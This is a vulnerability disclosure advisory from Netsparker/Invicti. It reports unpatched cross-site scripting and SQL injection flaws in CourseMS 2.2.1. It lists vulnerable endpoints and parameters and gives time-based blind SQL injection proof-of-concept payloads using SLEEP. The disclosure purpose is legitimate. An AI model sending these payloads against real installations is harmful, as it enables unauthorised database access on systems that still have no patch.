XSS and SQL Injection Vulnerabilities in CourseMS
Information
Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in CourseMS
Software: CourseMS 2.2.1 and possibly below.
Vendor Homepage: http://sourceforge.net/projects/coursems/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-13-013
Description
This is a Course Management System for anybody running courses. Essentially allows for users to register online and also to provide your website with published course schedules and control over registrations, all managed by an administrator console.
Details
CourseMS is affected by XSS and SQL Injection vulnerabilities in version 2.2.1.
Example PoC urls are as follows:
- SQL Injection Vulnerabilities
http://example.com/forgotten_password.php
(POST – username)username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'http://example.com/add_user.php
(POST – email)email='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'http://example.com/login.php
(POST – username)username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+' - XSS Vulnerabilities
http://example.com/add_user.php(POST – params: work_tel, lastname, email, gmc_reg, job_title, firstname)http://example.com/login.php(POST – params: username)http://example.com/auth.php(POST – params: username)
Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:
Solution
No patch was released.
Advisory Timeline
05/09/2013 – Couldn’t find a contact e-mail
05/09/2013 – Send Message over SourceForge – No response
21/10/2013 – Vulnerability Released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
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